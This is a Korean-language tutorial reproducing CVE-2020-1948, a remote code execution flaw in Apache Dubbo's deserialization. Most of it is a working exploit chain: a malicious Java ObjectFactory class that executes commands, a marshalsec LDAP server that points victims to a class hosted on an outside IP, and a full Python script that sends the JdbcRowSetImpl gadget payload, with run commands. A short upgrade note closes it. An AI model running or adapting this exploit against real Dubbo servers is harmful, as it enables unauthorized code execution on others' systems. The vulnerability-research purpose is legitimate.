Apache Dubbo 역직렬화 취약점을 분석하는 방법

WBOY
풀어 주다: 2023-05-17 16:01:22
앞으로
1042명이 탐색했습니다.

소개

Dubbo는 Alibaba가 제공하는 고성능, 우수한 서비스 오픈소스 프레임워크로, 애플리케이션이 고성능 RPC를 통해 서비스 출력 및 입력 기능을 실현할 수 있도록 하며 Spring 프레임워크와 원활하게 통합될 수 있습니다. 시스템에는 원격 인터페이스 메소드 호출, 지능형 내결함성 및 로드 밸런싱, 자동 등록 및 서비스 검색을 포함한 세 가지 핵심 기능이 있습니다.

개요

2020년 6월 23일 Apache Dubbo는 Apache Dubbo 원격 코드 실행에 대한 위험 공지를 공식 발표했습니다. 취약점 번호는 CVE-2020-1948이며 취약점 수준은 높음입니다. Apache Dubbo는 인터페이스 지향 원격 메소드 호출, 지능형 내결함성 및 로드 밸런싱, 자동 서비스 등록 및 검색이라는 세 가지 핵심 기능을 제공하는 경량의 고성능 오픈 소스 Java RPC 프레임워크입니다. Apache Dubbo Provider에는 역직렬화 취약점이 있습니다. 공격자는 RPC 요청을 통해 인식할 수 없는 서비스 이름이나 메서드 이름 및 일부 악성 매개변수 페이로드를 보낼 수 있으며, 악성 매개변수가 역직렬화되면 원격 코드가 실행될 수 있습니다.

영향을 받는 버전

Dubbo 2.7.0 - 2.7.6 Dubbo 2.6.0 - 2.6.7 Dubbo 2.5.x(공식적으로 더 이상 유지 관리되지 않음)

환경 설정

실행 환경과 컴파일 exp 환경 jdk 버전은 모두 8u121입니다. , 테스트 환경을 시작합니다

java -jar dubbo.jar
로그인 후 복사


시작 후 포트 12345

Vulnerability recurrence

서비스 지문:


PORT      STATE SERVICE VERSION12345/tcp opentextui  Alibaba Dubbo remoting telnetd
로그인 후 복사

여기에서 ping 명령을 실행하여 명령이 실행되는지 확인합니다. 실행되고 새로운 calc.java를 생성합니다.

importjavax.naming.Context;
importjavax.naming.Name;
importjavax.naming.spi.ObjectFactory;
importjava.util.Hashtable;
publicclasscalc implementsObjectFactory{@OverridepublicObjectgetObjectInstance(Objectobj,Namename,ContextnameCtx,Hashtable<?,?>environment)throwsException{Runtime.getRuntime().exec("ping test.sr3uwk.ceye.io");
returnnull;
}}
로그인 후 복사


컴파일 poc

javac calc.java
로그인 후 복사


컴파일된 poc(calc.class)를 웹 웹사이트 디렉토리에 넣어 취약한 호스트가 접근할 수 있도록 하세요. marshalsec 프로젝트를 사용하여 ldap 프록시 서비스를 시작하고 marshalsec을 다운로드합니다.

https://github.com/RandomRobbieBF/marshalsec-jar/raw/master/marshalsec-0.0.3-SNAPSHOT-all.jar
로그인 후 복사


LDAP 프록시 서비스를 시작합니다. 이 명령을 실행하면 ldap 서비스가 포트 8086


 java -cp marshalsec-0.0.3-SNAPSHOT-all.jar marshalsec.jndi.LDAPRefServerhttp://139.9.198.30/#calc 8086
로그인 후 복사


테스트를 실행합니다. 여기서 테스트에 사용된 Python 환경은 3.8.0입니다. 먼저 종속성 패키지를 설치하세요

python3 -m pip install dubbo-py
로그인 후 복사


스크립트 내용(Dubbo.py):

# -*- coding: utf-8 -*-importsysfromdubbo.codec.hessian2 importDecoder,new_objectfromdubbo.client importDubboClientiflen(sys.argv)<4:print(&#39;Usage: python {} DUBBO_HOST DUBBO_PORT LDAP_URL&#39;.format(sys.argv[0]))print(&#39;\nExample:\n\n- python {} 1.1.1.1 12345 ldap://1.1.1.6:80/exp&#39;.format(sys.argv[0]))sys.exit()client =DubboClient(sys.argv[1],int(sys.argv[2]))JdbcRowSetImpl=new_object(&#39;com.sun.rowset.JdbcRowSetImpl&#39;,dataSource=sys.argv[3],strMatchColumns=["foo"])JdbcRowSetImplClass=new_object(&#39;java.lang.Class&#39;,name="com.sun.rowset.JdbcRowSetImpl",)toStringBean=new_object(&#39;com.rometools.rome.feed.impl.ToStringBean&#39;,beanClass=JdbcRowSetImplClass,obj=JdbcRowSetImpl  )resp =client.send_request_and_return_response(service_name=&#39;org.apache.dubbo.spring.boot.sample.consumer.DemoService&#39;,# 此处可以是 $invoke、$invokeSync、$echo 等,通杀 2.7.7 及 CVE 公布的所有版本。method_name=&#39;$invoke&#39;,args=[toStringBean])output =str(resp)if&#39;Fail to decode request due to: RpcInvocation&#39;inoutput:print(&#39;[!] Target maybe not support deserialization.&#39;)elif&#39;EXCEPTION: Could not complete class com.sun.rowset.JdbcRowSetImpl.toString()&#39;inoutput:print(&#39;[+] Succeed.&#39;)else:print(&#39;[!] Output:&#39;)print(output)print(&#39;[!] Target maybe not use dubbo-remoting library.&#39;)
로그인 후 복사


스크립트 실행

python3 Dubbo.py 192.168.137.17312345ldap://139.9.198.30:8086/calc
로그인 후 복사


dnslog 뷰, 성공적으로 요청 수신怎么进行Apache Dubbo反序列化漏洞的分析怎么进行Apache Dubbo反序列化漏洞的分析

ldap 서비스에서도 요청 전달을 볼 수 있습니다

怎么进行Apache Dubbo反序列化漏洞的分析

Bomb Calculator

import javax.naming.Context; import javax.naming.Name; import javax.naming.spi.ObjectFactory; import java.util.Hashtable;  public class calc implements ObjectFactory {      @Override     public Object getObjectInstance(Object obj, Name name, Context nameCtx, Hashtable<?, ?> environment) throws Exception {        Runtime.getRuntime().exec("calc");        return null;    } }
로그인 후 복사
Bug fix

2.7.7 버전으로 업그레이드하고, 다음 링크의 방법에 따라 매개변수 검증을 진행하세요

https://github.com/apache/dubbo/pull/6374/commits/8fcdca112744d2cb98b349225a4aab365af563de


교체 프로토콜 및 역직렬화 방법.

위 내용은 Apache Dubbo 역직렬화 취약점을 분석하는 방법의 상세 내용입니다. 자세한 내용은 PHP 중국어 웹사이트의 기타 관련 기사를 참조하세요!

관련 라벨:
원천:yisu.com
본 웹사이트의 성명
본 글의 내용은 네티즌들의 자발적인 기여로 작성되었으며, 저작권은 원저작자에게 있습니다. 본 사이트는 이에 상응하는 법적 책임을 지지 않습니다. 표절이나 침해가 의심되는 콘텐츠를 발견한 경우 admin@php.cn으로 문의하세요.
인기 튜토리얼
더>
최신 다운로드
더>
웹 효과
웹사이트 소스 코드
웹사이트 자료
프론트엔드 템플릿